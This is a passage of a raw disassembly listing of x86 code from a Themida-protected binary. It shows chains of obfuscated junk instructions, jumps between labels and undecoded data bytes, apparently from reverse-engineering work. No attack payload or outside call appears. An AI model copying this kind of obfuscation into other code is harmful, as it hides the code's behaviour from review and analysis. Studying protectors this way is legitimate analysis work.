edx, eax add edx, 79CC6AAFh jmp loc_555C12 ; --------------------------------------------------------------------------- dw 3489h dd 0BE565724h, 31B13A4Ah, 2115BEBFh, 5EF70128h, 24348157h dd 71C1760Eh, 8124348Bh, 4C4h, 0EF85E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56022E: ; CODE XREF: Themida_:0054EADAj shl ecx, 5 add ecx, 5F291696h push 2702h mov [esp], ebp mov ebp, 1E0B5BEDh add ecx, ebp pop ebp mov ebx, ecx jmp loc_558D71 ; --------------------------------------------------------------------------- loc_56024E: ; CODE XREF: Themida_:0055A1F6j mov ebp, 27970967h mov esi, ebp pop ebp push eax mov eax, 43B66794h jmp loc_55A8CD ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 750EE95Ch, 489FFFFh, 46824h, 9EE90000h, 66FFFF16h, 5724048Bh dd 0C781E789h, 4, 4EF81h, 3C870000h, 14895C24h, 68E28924h dd 0F07h, 83240C89h, 3C8904ECh, 417D6824h, 3C8B4445h, 4C48324h dd 81E7D14Fh, 8A82FCF7h, 0E9F98988h, 0FFFF4790h, 31E9F801h db 46h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5602C3: ; CODE XREF: Themida_:0055589Ej push eax dec dword ptr [esp] pop eax xor eax, 250109Bh add ecx, eax pop eax xchg ecx, [esp] pop esp xchg eax, edx push 0B40h mov [esp], edx mov edx, 1 and eax, edx push dword ptr [esp] pop edx sub esp, 4 mov [esp], esi jmp loc_560DFC ; --------------------------------------------------------------------------- dw 0C581h dd 0E7A61CDh, 0FF8D9FE9h db 0FFh ; --------------------------------------------------------------------------- loc_560301: ; CODE XREF: Themida_:0054F4C4j xchg ecx, [esp] pop esp mov [esp], ecx mov ecx, 8312901h and esi, ecx pop ecx and esi, 6C6F2684h not esi xor esi, 0A1D2F262h sub edx, 5F016DE1h add edx, esi jmp loc_55BC35 ; --------------------------------------------------------------------------- db 81h dd 0D2B5DF6h, 81DEF75Eh, 24006EF6h, 0E9F201A6h, 159Ah dd 24048B66h, 5B3568h, 34BE900h, 0C4810000h, 4, 8904EC83h dd 0C3B82404h, 814BC22Fh, 87E26C5h, 0BEED8141h, 295BFC27h dd 44E7E9C5h, 31ADFFFFh, 4EC83D8h, 0BA241489h, 4DD46B42h dd 0E901C283h, 0FFFFBFB2h ; --------------------------------------------------------------------------- loc_560388: ; CODE XREF: Themida_:0055569Aj inc edi push 0 jmp loc_560CAE ; --------------------------------------------------------------------------- db 83h dd 0ADE904C4h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_56039B: ; CODE XREF: Themida_:0056147Cj xor ebx, edi pop edi mov edx, ebx mov ebx, [esp] add esp, 4 and ecx, edx push dword ptr [esp] pop edx jmp loc_55C23F ; --------------------------------------------------------------------------- dd offset dword_525048+220h dd 243C8900h, 42474FFh, 24048F5Fh, 0FFB935E9h, 243C33FFh dd 33243C31h, 0ACE9243Ch, 66000021h, 6659CD68h, 51240489h dd 0CC885AB1h, 6BEF8059h, 0C780E700h, 61E9E96Bh, 0F281FFFFh dd 1E637DBh, 4E92C281h, 0D3010B64h, 7EBC15Ah, 0FFE133E9h dd 241C89FFh, 623D7868h, 0EBC15B00h, 0A5F38107h, 15C5DFEh dd 241C8BD8h, 6804C483h, 97Dh, 0BD242C89h, 1DFA227Ah, 0EC83E5D1h dd 240C8904h, 0FF4386E9h, 77C381FFh, 167CE49h, 77EB81CBh dd 0E967CE49h, 0FFFFDA76h ; --------------------------------------------------------------------------- loc_560450: ; CODE XREF: Themida_:0055841Aj add ebp, 3313981Ch jmp loc_55F3F3 ; --------------------------------------------------------------------------- loc_56045B: ; CODE XREF: Themida_:0055B749j add esp, 4 sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], ebp mov ebp, 6C586992h add ebp, 1 xor ebp, eax xor eax, ebp xor ebp, eax push eax jmp loc_561C29 ; --------------------------------------------------------------------------- db 55h dd 3181B850h, 91E96EBEh db 20h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560493: ; CODE XREF: Themida_:0055E5C4j add eax, 4 jmp loc_55B938 ; --------------------------------------------------------------------------- db 68h, 5Ah, 14h dd 0C890000h, 243C3124h, 31243C33h, 0DFE9243Ch db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5604B3: ; CODE XREF: Themida_:0054F3C0j pop ebx sub esp, 2 jmp loc_5563E1 ; --------------------------------------------------------------------------- loc_5604BF: ; CODE XREF: Themida_:0054DF16j push dword ptr [esp] pop eax jmp loc_555CB0 ; --------------------------------------------------------------------------- dd 8022C380h, 0D828CCC3h, 81241C8Bh, 4C4h, 0E9F82800h dd 0FFFF1AA3h, 6824248Bh, 7086h, 89243489h, 4C681E6h, 81000000h dd 4C6h, 24348700h, 0E924248Bh, 0FFFED8C1h, 24148B66h dd 5E08950h, 4, 632068h, 241C8900h, 2BBh, 7162E900h, 0F65BFFFFh dd 0CE13E9DAh, 895CFFFFh, 0D2BB241Ch, 0E96A337Ch, 0FFFFED33h dd 96EBE95Ah, 0F381FFFFh, 8058C939h, 815BDF29h, 0EC03A2EFh dd 0C1E95162h, 0FFFFFF7Bh, 1CE92434h, 5CFFFF88h, 0FEE4C6E9h dd 240C87FFh, 2434895Ch, 0FF7C28E9h db 0FFh ; --------------------------------------------------------------------------- loc_56056D: ; CODE XREF: Themida_:00555884j xor [esp], eax xor eax, [esp] jmp loc_54DFBE ; --------------------------------------------------------------------------- dd 0D687F229h, 8324148Bh, 0E95504C4h, 0FFFFF06Eh, 4C481h dd 0F4680000h, 89000078h, 5E542434h, 4C681h, 0EC810000h dd 4, 0FF424EE9h, 4C481FFh, 0E9000000h, 0FFFF4348h, 353D68h dd 242C8900h, 0B850E589h, 60FF05BBh, 5706E8C1h, 131AD0BFh dd 5FF80122h, 2404FF50h, 0EC815658h, 4, 0BD242C89h, 5C6D6C9Dh dd 398EED81h, 6BE91CABh, 0C0FFFEF8h, 0C38003E3h, 72E930h dd 5457FFFFh, 81243C8Bh, 4C4h, 50565500h, 4B8h, 0E9C68900h dd 1917h, 35BEB850h, 0C3295C39h, 0A1CCE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560622: ; CODE XREF: Themida_:0054EDC1j mov edx, [esp] add esp, 4 jmp loc_559E70 ; --------------------------------------------------------------------------- db 58h, 81h, 0C4h dd 4, 0FFD035E9h, 0E9D088FFh, 0FFFF0B15h, 148BD301h, 4C48324h dd 76E9C231h, 0FFFFFED7h, 48B2434h, 0D7B0E924h, 0BD55FFFFh dd 22561567h, 0D3F7DD87h, 0E5C1DD87h, 6EDC104h, 0F0C8C581h dd 0C68163DDh, 6270558h, 0EE81EE29h, 6270558h, 50FEE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560686: ; CODE XREF: Themida_:0055AB67j add edi, 51766950h sub edi, eax sub edi, 51766950h jmp loc_553DDC ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0EC83E189h, 242C8904h, 1F1DE9h db 0 ; --------------------------------------------------------------------------- loc_5606A9: ; CODE XREF: Themida_:00561E09j mov ebx, 36BFF7ADh sub ebx, 19F92B8Bh add ebx, ecx add ebx, 19F92B8Bh mov ecx, [esp] push 7DBCh mov [esp], ebx push esp pop ebx push eax jmp loc_55257F ; --------------------------------------------------------------------------- db 51h dd 0C1815954h, 4, 8C685752h, 5F5D372Dh, 0FF5AF1E9h, 242C8BFFh dd 6D57E951h, 0CA89FFFFh, 78BD5559h, 0E9057453h, 0FFFEFB42h ; --------------------------------------------------------------------------- loc_5606FC: ; CODE XREF: Themida_:0054E932j push ecx push ebp add dword ptr [esp], 23F014EEh pop ecx sub ecx, 23F014EEh jmp loc_5500E3 ; --------------------------------------------------------------------------- dd offset dword_516448+720h align 2 dw 3489h dd 4EC8324h, 81242489h, 42404h, 348B0000h, 4C48124h, 81000000h dd 4C6h, 0BCBA5200h, 8165C976h, 0C976B8EAh, 0E9D60165h dd 0FFFFD9D5h, 81E38953h, 4C3h, 4EB8100h, 0E9000000h, 0FFFF94F8h dd 7CF281h, 0BF571BACh, 78007F04h, 0FF6669E9h, 0E9F9F6FFh dd 0FFFF3D81h ; --------------------------------------------------------------------------- loc_560774: ; CODE XREF: Themida_:0055FBDDj pop ebp add eax, ecx mov ecx, [esp] add esp, 4 sub esp, 4 jmp loc_554187 ; --------------------------------------------------------------------------- db 1 dd 53EE81FEh, 81269717h, 0AB2FF0C6h, 243C8B3Dh, 0E904C483h dd 0FFFFD225h, 5573E951h, 0C483FFFFh, 29E06804h, 2C890000h dd 5AD9BD24h, 0EA291999h, 0E9242C8Bh, 0FFFFC521h, 4BEh dd 8BF72900h, 0C4812434h, 4, 0E9243C87h, 0FFFFE601h, 4E9835Eh dd 5C240C87h, 53242489h, 4BBh, 7D7FE900h, 77FFFFFFh, 0D5CBE92Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5607FA: ; CODE XREF: Themida_:00554F59j sub esp, 4 mov [esp], edx jmp loc_56091A ; --------------------------------------------------------------------------- loc_560808: ; CODE XREF: Themida_:00557C1Ej sub ebx, 79095BFAh add ebx, esi add ebx, 79095BFAh jmp loc_556021 ; --------------------------------------------------------------------------- db 48h dd 0FFC2C3E9h, 4BEFFh, 0ED810000h, 57832A00h, 0FF9705E9h dd 2407BEFFh, 0C6815F23h, 7FEF2759h, 7503B951h, 0D9F72F4Fh dd 18FFC981h, 0C1810997h, 3C269CB6h, 4659CE21h, 0FEDFFBE9h dd 28E981FFh, 17A1A48h, 14BA52D1h, 0F77F6233h, 0CCC281DAh dd 0C1271848h, 0EA8108EAh, 868D6DEDh, 0EDE9D101h, 5FFFFEFEh dd 0FF1EAEE9h db 0FFh ; --------------------------------------------------------------------------- loc_560885: ; CODE XREF: Themida_:0055F9FCj mov [esp], esp push 5D70h mov [esp], edi mov edi, 4 jmp loc_557BA8 ; --------------------------------------------------------------------------- dw 2D66h dd 1662000h, 14E958C3h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5608A7: ; CODE XREF: Themida_:0054E6AFj dec eax sub eax, 429D1C25h xor eax, 0BB9123D1h jmp loc_553F92 ; --------------------------------------------------------------------------- db 8Bh dd 0F368240Ch, 89000009h, 87E9241Ch db 19h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5608C7: ; CODE XREF: Themida_:0054EF66j mov [esp], ecx mov ecx, 4 add [esp+4], ecx pop ecx mov ebp, [esp] jmp loc_553EAA ; --------------------------------------------------------------------------- loc_5608DC: ; CODE XREF: Themida_:005587AEj push eax jmp loc_54DE1A ; --------------------------------------------------------------------------- loc_5608E2: ; CODE XREF: Themida_:0055FAC3j push eax mov eax, 23947800h mov ebp, eax pop eax jmp loc_55047C ; --------------------------------------------------------------------------- dd 0CEFEC6FEh, 0EEC0D6F6h, 4EE8007h, 57E9F000h, 0E9000002h dd 0FFFED4BDh, 4BE565Eh, 81000000h, 26595DEDh, 2CA1E915h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56091A: ; CODE XREF: Themida_:00560803j mov ecx, [esp] add esp, 4 push ecx mov esi, [esp] sub esp, 4 jmp loc_552DF3 ; --------------------------------------------------------------------------- loc_560932: ; CODE XREF: Themida_:005559F0j xor ebp, 48CC5661h jmp loc_562192 ; --------------------------------------------------------------------------- db 1, 0C2h, 58h dd 0FFD0A6E9h, 242C87FFh, 2404285Ch, 0D473E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_560952: ; CODE XREF: Themida_:005542E1j push ecx push 4 jmp loc_552BDB ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 83000000h, 66E904EFh db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56096B: ; CODE XREF: Themida_:005623B5j mov edi, 10h and ebx, edi push dword ptr [esp] mov edi, [esp] add esp, 4 push 52EBh mov [esp], ebx push esp pop ebx sub esp, 4 mov [esp], esi jmp loc_55D012 ; --------------------------------------------------------------------------- loc_560996: ; CODE XREF: Themida_:00557664j add esi, 0A0BA1E73h add eax, esi pop esi jmp loc_558872 ; --------------------------------------------------------------------------- dd 5C240487h, 0FEFA35E9h db 0FFh ; --------------------------------------------------------------------------- loc_5609AD: ; CODE XREF: Themida_:0055E293j add ebx, esi jmp loc_5502D2 ; --------------------------------------------------------------------------- dd 82E9CA01h db 0F6h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5609BB: ; CODE XREF: Themida_:005514C4j inc ah push ebx mov bh, 9Bh sub ah, bh mov ebx, [esp] add esp, 4 mov dh, ah jmp loc_552FB4 ; --------------------------------------------------------------------------- db 0BDh dd 3EF2FA4h, 8904EC83h, 0B5B9240Ch, 2915C34Ch, 860559C8h dd 0E976BC1Bh, 0FFFF0F55h ; --------------------------------------------------------------------------- loc_5609EC: ; CODE XREF: Themida_:005565CCj add dword ptr [esp], 25F2BC8h pop edi sub edi, 25F2BC8h mov edx, [esp] add esp, 4 add dword ptr [esp+4], 11070242h add [esp+4], edi sub dword ptr [esp+4], 11070242h pop edi jmp loc_55240D ; --------------------------------------------------------------------------- loc_560A1A: ; CODE XREF: Themida_:00558617j mov ecx, [esp] add esp, 4 add ecx, ebx mov ebx, [esp] jmp loc_550E50 ; --------------------------------------------------------------------------- dw 66B9h dd 495B8F66h, 0C1C18141h, 812A091Eh, 365F8DF1h, 80E9537Ah dd 66FFFFEBh, 5866C209h, 93C28166h, 0E2C16655h, 0FB8BE908h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_560A56: ; CODE XREF: Themida_:0055F2DBj pop ecx push esi mov esi, 4 add eax, esi pop esi xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp push ebp push esp pop ebp jmp loc_55F78B ; --------------------------------------------------------------------------- dw 0C483h dd 0CABF5704h, 0E94C7835h, 0FFFEDD6Fh, 2CB368h, 242C8900h dd 4EC81h, 0EC810000h, 4, 24048F54h, 0FF7631E9h db 0FFh ; --------------------------------------------------------------------------- loc_560A9D: ; CODE XREF: Themida_:00560178j push 5191h mov [esp], esi push ebx mov ebx, 1D9C6E58h xor ebx, 17C40997h xor ebx, 60883AEEh shr ebx, 4 sub ebx, 65711767h jmp loc_55BA22 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 8904EC83h, 4812424h, 424h, 9C92E900h, 0E955FFFFh, 0FFFF87DBh ; --------------------------------------------------------------------------- loc_560AE0: ; CODE XREF: Themida_:0055A3EAj push 3955h mov [esp], ecx mov ecx, 745D795Ah add ecx, 0ACEE038h shl ecx, 8 not ecx jmp loc_55F912 ; --------------------------------------------------------------------------- db 5Bh, 89h, 0FAh dd 0FF4E9DE9h, 148966FFh, 9C506624h, 0FED2B4E9h, 8BDA01FFh dd 0C481241Ch, 4, 6803EAC1h, 1E24h, 0B8240489h, 0FFFFFFFFh dd 1484EA81h, 68E97594h, 0D1FFFF0Ch, 4A91E9EBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560B3E: ; CODE XREF: Themida_:0055E968j push ebx mov ebx, 3A936C9h push edx mov edx, 380462BBh jmp loc_5580B1 ; --------------------------------------------------------------------------- loc_560B4F: ; CODE XREF: Themida_:0055DF78j mov ecx, [esp] add esp, 4 jmp loc_55B541 ; --------------------------------------------------------------------------- dw 8B5Ah dd 6CE9241Ch db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560B63: ; CODE XREF: Themida_:0055A767j mov ebx, 999439Dh jmp loc_55DDC9 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 68000000h, 78A8h, 0BB241C89h, 4, 335BDF29h, 3C31243Ch dd 243C3324h, 80AE9h, 0EC835D00h, 24348904h, 7D168h, 24048900h dd 0FFAD61E9h, 0C8B66FFh, 0E0895024h, 405h, 4BD5500h, 29000000h dd 36E95DE8h, 53FFFF2Dh, 0D3E8E954h, 0EC81FFFEh, 4, 0FF334EE9h dd 9AC381FFh, 0E9B2AE8Ah, 0FFFF5BF3h, 2B826852h, 2C890000h dd 242C8124h, 63830872h, 0FED8ACE9h, 1C8B5EFFh, 1BABE924h dd 148B0000h, 5F545724h, 4C781h, 0C7810000h, 4, 0E9243C87h dd 0FFFF4E1Bh, 3272EE81h, 0F531AB67h, 5DEB895Eh, 4074F381h dd 0DE0136F1h, 0EE815B5Bh, 4, 2474FF56h, 48F5E04h, 0F451E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560C3E: ; CODE XREF: Themida_:005624B9j pop dword ptr [esp] mov esp, [esp] inc ebx sub ebx, 0FFFFFFFFh add ebx, 0FFFFFFFFh shl ebx, 5 add ebx, 0BADB3020h and eax, ebx jmp loc_553B96 ; --------------------------------------------------------------------------- dw 8150h dd 4ECh, 2236E900h, 0C281FFFFh, 2995509Dh, 0EA81DA29h dd 2995509Dh, 0A16EA81h, 0EA810A96h, 69726D52h, 0FF34F8E9h dd 4C481FFh, 21000000h, 34FF1C47h, 89505824h, 405E0h, 4050000h dd 87000000h, 248B2404h, 0D117E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_560CAE: ; CODE XREF: Themida_:0056038Ej add dword ptr [esp], 3682C5Bh sub [esp], edi sub dword ptr [esp], 3682C5Bh pop edi sub edi, 0DF5DFBFBh add ecx, edi pop edi sub esp, 4 mov [esp], ecx push dword ptr [esp+4] jmp loc_54FA6F ; --------------------------------------------------------------------------- db 81h dd 4ECh, 243C8900h, 0FFDD51E9h db 0FFh ; --------------------------------------------------------------------------- loc_560CE9: ; CODE XREF: Themida_:0055EEE0j push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] pop esp shl word ptr [esp], cl pushf jmp loc_54DDC5 ; --------------------------------------------------------------------------- dd 33243431h, 27E92434h, 31FFFF70h, 91D0F7C1h, 1035E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560D26: ; CODE XREF: Themida_:00558BA4j pop ebx jmp loc_5623BA ; --------------------------------------------------------------------------- dd 4EC81h, 85E90000h, 59FFFED5h, 0FF3152E9h, 4C681FFh dd 55000000h, 790FA1BDh, 33ED8111h, 4D239071h, 6A8ED81h dd 0CD8148A7h, 0F487C06h, 0FFC3ED81h, 0EE01AF49h, 0FF25CAE9h db 0FFh ; --------------------------------------------------------------------------- loc_560D69: ; CODE XREF: Themida_:00557EB4j mov ebx, esp push 29C7h mov [esp], esi mov esi, 4 add ebx, esi pop esi add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5511DE ; --------------------------------------------------------------------------- dw 0E5BFh dd 81686E1Bh, 22639CFh, 0D45EE91Fh, 0EC81FFFFh, 4, 0FF067FE9h dd 5BDF29FFh, 56E468h, 243C8900h, 42474FFh, 83243C8Bh dd 3CE904C4h, 68FFFEE8h, 4D15h, 0E9240C89h, 0FFFF7A4Bh dd 0FECFF4E9h, 0F72959FFh, 24148B5Eh, 0FF4EADE9h db 0FFh ; --------------------------------------------------------------------------- loc_560DDD: ; CODE XREF: Themida_:0054E987j mov [esp], esi jmp loc_557C0D ; --------------------------------------------------------------------------- db 81h, 0C7h, 0D6h dd 89E8B12Ah, 0C1835FF9h, 0BEE981FFh, 0E9F04067h, 0FFFF825Bh ; --------------------------------------------------------------------------- loc_560DFC: ; CODE XREF: Themida_:005602F1j mov esi, esp add esi, 4 push edx push eax mov eax, 5E2C7AEFh dec eax dec eax inc eax jmp loc_550AB8 ; --------------------------------------------------------------------------- aQissvhV db 'Q‰áSVhìv',0 dd 46E95E74h, 59FFFF03h, 0FFC140E9h, 81C629FFh, 7F4544C6h dd 34335846h, 24343124h, 5C243433h, 0E9243489h, 0D31h dd 56241C8Bh, 0C6815E54h, 4, 4C681h, 34330000h, 8A4E924h dd 405FFFFh, 53000000h, 4BBh, 8BD80100h, 1E9241Ch, 81FFFFC9h dd 0CF438FC2h, 55C2290Bh, 0CF438FBDh, 0BB2FE90Bh, 0D5F7FFFFh dd 0BD55EB87h, 0DD4BF598h, 295DEB29h, 2434FFD8h, 6381E95Bh dd 3431FFFFh, 24343324h, 2424D25Ch, 0CF17E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_560EAE: ; CODE XREF: Themida_:00551865j sub esp, 4 jmp loc_55FD62 ; --------------------------------------------------------------------------- loc_560EB9: ; CODE XREF: Themida_:0055A05Ej mov ebx, eax pop eax sub [esp+4], ebx pop ebx pop esi push ebp mov ebp, 31254B75h add ebp, 0FFD31302h jmp loc_55E453 ; --------------------------------------------------------------------------- db 81h dd 0B06137EDh, 5DEE0170h, 1780EE81h, 875F2D8Ah, 0E95C2434h dd 0FFFF325Bh, 171505ADh, 0D8016E73h, 6CE95253h, 1FFFFDEh dd 83685BDDh, 89000053h, 4BF243Ch, 1000000h, 243C8BFDh dd 4C481h, 2C870000h, 5F4DE924h, 0F781FFFFh, 85DBF412h dd 0FFCF57E9h, 0C18358FFh, 240C3304h, 33240C31h, 57E9240Ch dd 89FFFF40h, 2BE2434h, 81472D14h, 3C5A44C5h, 81F5011Ah dd 3C5A44EDh, 0E0E95E1Ah, 8BFFFF88h, 71E92404h db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560F5F: ; CODE XREF: Themida_:0054DEBDj xor edi, 15CFABD5h push ecx mov ecx, 46082882h jmp loc_550CFD ; --------------------------------------------------------------------------- loc_560F70: ; CODE XREF: Themida_:00559BD8j xor al, bh mov ebx, [esp] add esp, 4 jmp loc_55925C ; --------------------------------------------------------------------------- dd 24048B66h, 0E9E78957h, 0FFFF52CDh, 44DAC281h, 0BFE92059h dd 5FFFF74h, 1, 714C120Dh, 0E2D3E93Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560FA6: ; CODE XREF: Themida_:0055C9FDj push ebp push ecx mov ecx, 139D404Dh mov ebp, 50BDFC7Bh add ebp, ecx pop ecx not ebp push ebx jmp loc_556520 ; --------------------------------------------------------------------------- db 58h, 0E9h, 1Bh dd 0B5FFFF00h, 5495E966h, 433FFFFh, 2C895C24h, 0EECEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560FD6: ; CODE XREF: Themida_:00550D1Aj pop edx add edx, 7BB252A3h mov eax, [esp] push ebp jmp loc_55B08C ; --------------------------------------------------------------------------- dw 0BB53h dd 3A2A4829h, 0FED5BFE9h, 0D8E956FFh db 0D1h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_560FF7: ; CODE XREF: Themida_:00557A90j sub esi, ebp pop ebp push esi mov esi, 2EDE055Ah shr esi, 3 xor esi, 29D2F849h sub ecx, esi pop esi add ecx, esi add ecx, 2C0938E2h pop esi sub ecx, 2 push 0D85h mov [esp], ecx push dword ptr [esp+4] jmp loc_54E59C ; --------------------------------------------------------------------------- dd 0B3F4E981h, 0CF29E632h, 58350559h, 0F8014597h, 9758352Dh dd 243C8B45h, 4C481h, 0FBE90000h, 5CFFFEF7h, 3C8BF989h dd 4C48124h, 31000000h, 240C8BC8h, 53E68956h, 4BBh, 61D3E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56106E: ; CODE XREF: Themida_:0054F6C2j add esp, 4 shr eax, 8 xor eax, ecx jmp loc_555868 ; --------------------------------------------------------------------------- dw 0A1B8h dd 0E9635C61h, 0FFFF8128h, 24148B5Bh, 8104C483h, 313F05C9h dd 20E98137h, 1243734h, 8B5959CAh, 0C4832434h, 56EA8104h dd 12E9953h, 0ADA0E9C2h, 8B66FFFFh, 57682404h, 89000059h dd 8953243Ch, 4C381E3h, 81000000h, 4EBh, 241C8700h, 678CE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5610D6: ; CODE XREF: Themida_:005551A8j push dword ptr [edi+1Ch] jmp loc_553A79 ; --------------------------------------------------------------------------- loc_5610DE: ; CODE XREF: Themida_:00561848j push eax mov eax, 1A290087h sub ebx, 5B7A6B47h sub ebx, eax add ebx, 5B7A6B47h pop eax sub esp, 4 mov [esp], ebx mov ebx, 8B32D90h jmp loc_561297 ; --------------------------------------------------------------------------- loc_561106: ; CODE XREF: Themida_:0054F09Ej pop dword ptr [esp] pop esp sub ebp, 0FFFFFFFFh jmp loc_553B30 ; --------------------------------------------------------------------------- db 51h, 53h, 68h dd 0E434BFCh, 0D0EB815Bh, 89FED4F8h, 0CE295BD9h, 0FF6DAEE9h db 0FFh ; --------------------------------------------------------------------------- loc_56112D: ; CODE XREF: Themida_:0055406Aj or ecx, edx pop edx jmp loc_561DC2 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 83000000h, 3C8704C7h, 0CE295C24h, 24348759h, 0FF7703E9h dd 0E9E189FFh, 132h ; --------------------------------------------------------------------------- loc_561154: ; CODE XREF: Themida_:00551C10j or edi, 420B0188h xor edi, 1F3C91FFh mov ebp, edi jmp loc_552E03 ; --------------------------------------------------------------------------- db 29h dd 0BD22E9CDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56116E: ; CODE XREF: Themida_:0055A7E9j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp and eax, esi mov esi, [esp] push esi jmp loc_5596D1 ; --------------------------------------------------------------------------- dw 0EE81h dd 2, 31243433h, 69E92434h, 0B8FFFF63h, 17DC5669h, 0FED98FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5611A5: ; CODE XREF: Themida_:0055B5D2j add edx, 3A954C27h jmp loc_554012 ; --------------------------------------------------------------------------- dd 8702C383h, 805C241Ch, 0C28005C2h, 0DEA80BFh, 0FFE849E9h dd 595E51FFh, 2602C681h, 0EB8118FFh, 5033515Bh, 1393C381h dd 0F301407Eh, 0FF6A54E9h, 0E95658FFh, 0FFFF4C14h ; --------------------------------------------------------------------------- loc_5611E8: ; CODE XREF: Themida_:0055CABCj mov edi, ecx pop ecx jmp loc_553AE5 ; --------------------------------------------------------------------------- dd 4BBh, 0FC18100h, 10AFD34h, 0FE981D9h, 8B0AFD34h, 0C483241Ch dd 240C8704h, 0FF603AE9h, 8BE981FFh, 291BB16Ch, 0DF14E9C8h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56121E: ; CODE XREF: Themida_:005597AEj add esi, eax pop eax sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi push ecx push 28450B09h jmp loc_554382 ; --------------------------------------------------------------------------- loc_561239: ; CODE XREF: Themida_:0055DB5Fj add ecx, 43B2406Bh inc ecx push ecx jmp loc_55C9DA ; --------------------------------------------------------------------------- dw 0DE86h dd 0D8885066h, 0C388D0F6h, 0DE865866h, 95E95166h, 0BFFFFF9Ah dd 273B1990h, 0E95FFB89h, 0FFFFBF78h, 0E951CF88h, 0FFFF930Ch dd 4EC81h, 0FEE90000h, 81FFFF50h, 9067D7E2h, 0FC12E92Fh dd 0C181FFFEh, 4, 8704C183h, 0EBE9240Ch db 0FBh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_561297: ; CODE XREF: Themida_:00561101j shr ebx, 8 shr ebx, 4 push 339Ch mov [esp], edi jmp loc_552362 ; --------------------------------------------------------------------------- dd offset dword_598468 dw 8900h dd 0F9B42404h, 0DCF6D4F6h, 0E950B353h, 0FFFF7E1Ch ; --------------------------------------------------------------------------- loc_5612C0: ; CODE XREF: Themida_:0055659Dj sub esi, 0FE54D4Ch push edx jmp loc_55D85D ; --------------------------------------------------------------------------- dd 5C242C87h, 89243489h, 4C681E6h, 53000000h, 347FE2BBh dd 0DABAE948h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5612E6: ; CODE XREF: Themida_:005627FDj sub eax, 45BF0095h add ecx, eax pop eax mov eax, [esp] add esp, 4 push ebp mov ebp, 4 sub ecx, ebp pop ebp push 6CF1h jmp loc_56292A ; --------------------------------------------------------------------------- loc_561307: ; CODE XREF: Themida_:0055E999j or edx, eax shl edx, 1 push eax sub esp, 4 mov [esp], edx push 4AFB1A8Dh push dword ptr [esp] pop edx sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 push 0ABEh mov [esp], edi mov edi, 4 add eax, 3B920674h add eax, edi jmp loc_55FF61 ; --------------------------------------------------------------------------- loc_561344: ; CODE XREF: Themida_:005505DCj pop ebp shr edi, 2 push edx jmp loc_559CCB ; --------------------------------------------------------------------------- dw 0CF01h dd 83240C8Bh, 0C78104C4h, 4, 8B243C87h, 0B8E92424h db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561367: ; CODE XREF: Themida_:00556BC1j xor [esp], eax jmp loc_55AE03 ; --------------------------------------------------------------------------- loc_56136F: ; CODE XREF: Themida_:00550DFAj xor ecx, 676ED27Eh add ebx, ecx pop ecx add esi, ebx mov ebx, [esp] add esp, 4 add ebp, esi pop esi add ebp, 2 push ebp jmp loc_55AC67 ; --------------------------------------------------------------------------- dw 3157h dd 0F7E9242Ch, 5CFFFFD7h, 55243489h, 4BDh, 5DEE8900h, 4247401h dd 0FF4C7BE9h, 0E9CD29FFh, 29Dh ; --------------------------------------------------------------------------- loc_5613B8: ; CODE XREF: Themida_:005578C2j sub esi, 1B55687Ch add esi, 3C10BBDEh push ebx jmp loc_55B0A1 ; --------------------------------------------------------------------------- loc_5613CA: ; CODE XREF: Themida_:005545D8j mov ebx, edx mov edx, [esp] jmp loc_55B23C ; --------------------------------------------------------------------------- dd 0E98CCF80h, 0FFFFEFFBh, 44DAEA81h, 0C2812059h, 3F524DEDh dd 83243C8Bh, 0EA8304C4h, 24143304h, 33241431h, 248B2414h dd 4143E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561402: ; CODE XREF: Themida_:00561494j push dword ptr [esp] push dword ptr [esp] pop esi add esp, 4 push 41C8h mov [esp], edx 